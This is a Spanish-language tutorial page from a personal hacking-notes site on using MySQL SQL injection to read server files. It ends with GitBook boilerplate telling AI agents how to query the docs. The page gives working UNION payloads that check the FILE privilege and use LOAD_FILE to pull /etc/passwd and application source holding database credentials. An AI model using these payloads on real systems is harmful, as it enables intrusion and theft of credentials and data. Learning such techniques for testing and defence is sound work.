> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/lectura-de-archivos.md).

# Lectura de Archivos

Una SQL injection no solo extrae datos de tablas — también puede **leer (y escribir) archivos** del servidor back-end, e incluso llevar a RCE.

**Privilegios**

Leer archivos está reservado a usuarios privilegiados. En MySQL, el usuario de la base necesita el privilegio **`FILE`** para cargar el contenido de un archivo y leerlo. Así que primero averiguas quién eres y qué puedes hacer.

**Paso 1 — ¿Qué usuario soy?**

```sql
SELECT USER()
SELECT CURRENT_USER()
SELECT user FROM mysql.user
```

Inyectado:

```sql
cn' UNION SELECT 1, user(), 3, 4-- -
```

Si sale `root@localhost` es muy prometedor — un root probablemente es DBA y tiene muchos privilegios.

**Paso 2 — ¿Qué privilegios tengo?**

Probar si tienes superadmin:

```sql
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
```

Si devuelve `Y` (Yes) → tienes privilegios de superusuario.

Ver la lista completa de privilegios de tu usuario:

```sql
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
```

Aquí buscas que aparezca el privilegio **`FILE`** en la lista — es el que habilita leer (y potencialmente escribir) archivos.

**Paso 3 — Leer archivos con `LOAD_FILE()`**

Esta función de MySQL/MariaDB lee el contenido de un archivo (toma un solo argumento: la ruta):

```sql
SELECT LOAD_FILE('/etc/passwd');
```

Inyectado:

```sql
cn' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
```

⚠️ Solo lo lees si el **usuario del SO que corre MySQL** tiene permiso de lectura sobre ese archivo.

**Leer el código fuente de la app**

Sabiendo que la página es `search.php` y que el webroot por defecto de Apache es `/var/www/html`, puedes leer su código:

```sql
cn' UNION SELECT 1, LOAD_FILE('/var/www/html/search.php'), 3, 4-- -
```

📌 Detalle: el navegador puede **renderizar** el HTML resultante en vez de mostrarlo. Para ver el código crudo, usas `Ctrl + U` (ver código fuente).

Leer el fuente es valioso porque ahí suelen estar las **credenciales de conexión a la base** y pistas de otras vulnerabilidades.

**La idea que te llevas:** la cadena es usuario → privilegios → `FILE` → `LOAD_FILE()`. Confirmas que tienes el privilegio antes de intentar leer, y una vez dentro puedes filtrar archivos del sistema (`/etc/passwd`) o el propio código de la app, escalando el impacto de la inyección más allá de solo volcar tablas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/lectura-de-archivos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
